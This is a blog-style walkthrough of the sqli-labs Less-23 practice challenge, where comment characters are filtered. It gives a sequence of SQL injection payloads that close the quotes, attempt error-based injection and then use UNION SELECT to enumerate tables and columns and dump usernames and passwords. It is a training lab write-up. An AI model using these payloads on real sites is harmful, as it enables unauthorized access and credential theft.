当前位置:网站首页>SQL injection less23 (filter comment)
SQL injection less23 (filter comment)
2022-07-25 11:30:00 【Happy star】
?id=1
?id=1'
''1'' LIMIT 0,1'
First remove a single quotation mark on the left and right , Equivalent to quotation in Chinese '1'' LIMIT 0,1
It's obvious that it's a single quotation mark
SELECT * FROM users WHERE id='$id' LIMIT 0,1
Because annotations are filtered , We can manually close the following single quotation marks
?id=1' and '1'='1
?id=1' and '1'='2
Want to use error injection , Because there will be error messages
?id=1' and updatexml(1, concat('#', database()), 1) and '1'='1
In the end, there may be more Limit 0,1 This part , Cause the statement to make an error
So give up error reporting
Try to use union Inject , Because there is echo point ?id=1' order by 4 and '1'='1
Cannot find the number of fields
Use it directly union, To test the number of fields one by one ?id=1' union select 1,'2
It can be ?id=1' union select 1,2,'3
View echo location ?id=-1' union select 1,2,'3
Database search ?id=-1' union select 1,(select concat(database(), 0x7e, @@basedir)),'3
Look up the table ?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security"),'3
Check field ?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'3
Check data ?id=-1' union select 1, (select group_concat(username,0x3a,password) from security.users),'3
边栏推荐
猜你喜欢
随机推荐
[树] 100. 相同的树
Getting started with tensorflow
JS 将伪数组转换成数组
shell- 第七章练习
SQL language (II)
HCIA experiment (08)
SQL language (III)
Mlx90640 infrared thermal imager temperature measurement module development notes (V)
leetcode 剑指 Offer 28. 对称的二叉树
[information system project manager] thought map series essence summary
Learn NLP with Transformer (Chapter 5)
Learn NLP with Transformer (Chapter 1)
黑客入门教程(非常详细)从零基础入门到精通,看完这一篇就够了。
[tree] 100. Same tree
【高并发】通过源码深度分析线程池中Worker线程的执行流程
JS convert pseudo array to array
How can you use unity without several plug-ins? Unity various plug-ins and tutorial recommendations
常见WEB攻击与防御
Learn NLP with Transformer (Chapter 4)
LVS负载均衡之LVS-DR搭建Web群集与LVS结合Keepalived搭建高可用Web群集








